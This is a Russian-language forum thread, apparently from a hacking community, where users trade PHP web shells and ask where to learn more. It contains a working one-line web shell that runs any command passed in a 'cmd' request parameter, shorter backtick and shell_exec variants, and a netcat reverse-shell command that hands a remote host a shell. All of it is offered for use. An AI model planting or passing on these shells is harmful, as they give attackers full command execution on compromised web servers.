Около 1,500 строк кода)))

 

https://raw.githubusercontent.com/tennc/webshell/master/php/wso/wso-4.2.5.php

Кто имеет возможность проверьте плз, нет ли вшитых бэкдоров, пожалуйста.

Держи проверенный, вшитых бэкдоров и стучалок нет.

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

 

Держи проверенный, вшитых бэкдоров и стучалок нет.

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Можно еще меньше

<?=@`` ?>

Данный код эквивалентен коду

<?=@shell_exec() ?>

Дальше можно уже через netcat

<?= @`nc ip port -e /bin/sh` ?>

Читайте античат, учите пхп

 

Можно еще меньше

<?=@`` ?>

Данный код эквивалентен коду

<?=@shell_exec() ?>

А где можно про это почитать? На офсайте и на sof так себе доркается, по античату тоже(втч с байпасом)... нужно "стараться" лучше или я копаю в неправильном направлении?
Можно ссыль на офдоки\статью\книгу, плз?

 

https://raw.githubusercontent.com/tennc/webshell/master/php/wso/wso-4.2.5.php

Кто имеет возможность проверьте плз, нет ли вшитых бэкдоров, пожалуйста.

Никто подобным заниматься не будет(по чьей-то просьбе). Тем более за бесплатно. + подумай сам, если я даже там найду бэкдор. Зачем мне об этом говорить )

 

А где можно про это почитать? На офсайте и на sof так себе доркается, по античату тоже(втч с байпасом)... нужно "стараться" лучше или я копаю в неправильном направлении?
Можно ссыль на офдоки\статью\книгу, плз?

Вроде как раз в старых доках это и было описано или еще где-то не помню уже. Но вообще смотри старые темы античата и рдот в том числе. Старые мемберы много чего придумали и изучили.

Самый маленький шелл?

Нужно шелл размером в 5кб:) ничего меньше 19кб не нашел( из функционала требуется кнопка для загрузки файла на сервер

forum.antichat.com

Мега релиз: самый короткий шелл =) | Raz0r.name

Представляю новый релиз - самый короткий в мире веб-шелл на PHP (всего 10 байт), серьезно не воспринимать! =) Итак, та-дам: Если код показался вам непонятным, то сейчас я постараюсь доступно его объяснить. Прежде всего вместо стандартного используется , что эквивалентно ; требуется включенная...

raz0r.name

 

Тем более за бесплатно. + подумай сам, если я даже там найду бэкдор. Зачем мне об этом говорить )

Ну так пройти мимо уже не вариант? Тема явно не для таких как ты создана.